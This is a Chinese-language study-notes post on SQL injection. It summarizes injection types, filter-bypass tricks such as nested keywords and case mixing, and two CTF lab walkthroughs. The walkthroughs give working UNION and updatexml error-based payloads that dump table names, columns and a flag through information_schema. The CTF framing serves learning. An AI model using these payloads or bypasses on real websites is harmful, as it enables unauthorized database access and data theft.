0X00 說明
距離上次的筆記隔了很長時間,這段時間在準備一個比賽和一門課的期末考試,其實書上的知識點早就看完了,一直沒什麼時間整理,是以拖到現在,下次的筆記可能還要拖了,又要準備下一周的考試了。
本期的筆記就是在網頁經常存在的SQL注入的基礎知識點和注入的辦法,其實書上講的很詳細還有注入點的位置,我這就沒有寫出來。
0X01 筆記
一、SQL注入基礎
1.數字型注入
一般都是通過HTTP的GET方式輸入id的值,從數字運算這個特征來判斷該注入點是數字型注入
關鍵:找到輸入的參數點,然後通過加、減等運算,判斷輸入參數附近沒有引号包裹。
2.UNION注入
使用UNION語句将資料展示到頁面上
在使用UNION時要注意有的浏覽器會将特殊字元進行URL編碼,是以在構造payload時要先進行轉換;
當我們不知道資料庫結構,但在MySQL5.0版本後,預設自帶一個資料庫information_schema,MySQL的所有資料庫名、表名和字段名都在裡面,更加友善了SQL注入。
3.字元型注入
在GET參數輸入的地方包裹了單引号使其成為字元串,當等号兩邊類型不一緻就會發生強制轉換,是判斷注入點的方法。
4.布爾盲注
簡單來說就是猜測資料,通過頁面回顯來判斷;當然這樣速度太慢可以使用小于符号來縮減範圍,用二分法來猜測;實際上資料不可能為一個字元,這就要使用MySQL自帶的函數進行截取,substring()、mid()、substr()。
5.時間盲注
回顯内容一緻時就需要新的注入來判斷了,那就是時間注入,通過sleep()函數,利用IF或AND、OR函數的短路特性和SQL執行的時間以此判斷。
6.報錯注入
都說是報錯,那肯定是觸發SQL語句的錯誤在頁面上看到錯誤資訊。這時就可以使用updatexml函數的特性來引發報錯的同時将傳入的參數進行輸出。
7.堆疊注入
這是一種特殊的注入情況,當目标開啟多語句執行時,可以采用多語句執行的方式修改資料庫的任意結構和資料。
以上的注入情況都要基于開發者在寫資料庫時對傳入的過濾不嚴格導緻的。
二、注入方法
1.字元替換
●隻過濾了空格:在代碼中不止空格代替空白符還有URL編碼中的%0a、%0b、%0c、%0d、%09、%a0和、組合、括号等(注:%a0需要在特定的字元集才能使用)
●将select替換為空:這種情況常用嵌套方式來處理,如:selselectect
●大小寫比對:當關鍵字不區分大小寫,隻比對大寫或小寫時,就可以使用大小寫混搭繞過
●正則比對:\bselect\b可以使用的方式來代替
●用反斜杠替換單引号或雙引号
2.逃逸引号
●編碼解碼:資料庫一般都會有解碼函數或自定義的加解密函數,我們就可以使用addslashes函數,使用時資料處于編碼無法轉義,解碼後直接進入SQL語句就可造成注入。
●意料之外的輸入點
●二次注入
●字元串攔截
0X02 靶場練習
0X021 SQL注入-1
打開題目,想都沒想就先用數字型的注入試試,發現頁面沒什麼變化。
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLicmbw5SN5UGO0YjZiFGZzIWNjVTMlNjZkVDZ2czNiNmMkVjMm9CX0JXZ252bj91Ztl2Lc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
不過還好,還有個字元型的注入檢測方法,添加引号後,果然有所變化了,沒有回顯資訊。
那就使用#将其後面的指令 都注釋掉,有顯示了;說明存在字元型的注入了。
一般字元型注入和union聯合注入是一起使用的,先寫個測試一下。
上面的有所反應,那就可以開始操作一手了,構造payload查詢資料表的内容。
?id=-2%27union%20select%201,group_concat(table_name),1%20from%20information_schema.tables%20where%20table_schema=database()%23
查到了表的資訊,修改一下查詢字段的資訊。
id=-2%27union%20select%201,group_concat(column_name),1%20from%20information_schema.columns%20where%20table_name=%27fl4g%27%23
有了上面有個查詢的資訊,基本上就可以知道flag放在那裡了,寫個SQL語句執行一下,即可以得到flag。
?id=-2%27union%20select%201,fllllag,1%20from%20fl4g%23
0X022 SQL注入-2
這道SQL注入對我來說很有難度,不過也給我補上了盲區,講真的我是在看完wp之後才慢慢做出來的,操作真的很秀,是個很好的題目。
打開連結,有一個登陸界面,試了數字型和字元型注入檢測,沒什麼反應,完了,那就看看頁面代碼有什麼好消息吧,不錯還有個提示。
那就抓個包,在網址裡面加上提示的?tips=1,傳回的時候發現出現了報錯,那就是報錯注入了。
是報錯注入那肯定就要用上updatexml函數了,用上後果然有回顯
接下來這麼做我就麻了,之前沒怎麼碰過報錯注入,看了wp我更煩了什麼是dual?百度之後才知道:(Dual就是一個空表。它是Oracle提供的最小的工作表。它隻有一行和一列。它通常用于通過select語句計算常量表達式。)但一般的常見使用資料庫可不是Oracle資料庫都是MySQL,嘗試之後肯定不是了,那咋辦,還好網上還有一篇文章解救了,使用"1"來代替"*"就可以在MySQL資料庫中使用了。
and updatexml(1,concat(0x7e,(select * from dual)),1)#
好景不長啊,剛解決一個麻煩,又來一個了,說SQL文法有錯誤,那就可能SQL語句被進行了替換。
and updatexml(1,concat(0x7e,(select 1 from dual)),1)#
wp是使用select嵌套方法來解決問題的,我後來試了一下使用大小混亂寫也能通過過濾問題。
解決了過濾的問題接下就簡單多了,直接構造SQL語句查詢資料庫的名字,資料庫中表的名字,字段的名字,知道了這兩個那就可以直接查詢我想要的東西了。
and updatexml(1,concat(0x7e,(sEleCt database())),1)#
and updatexml(1,concat(0x7e,(sEleCt group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
and updatexml(1,concat(0x7e,(sEleCt group_concat(column_name) from information_schema.columns where table_name='fl4g')),1)#
and updatexml(1,concat(0x7e,(sEleCt flag from fl4g)),1)#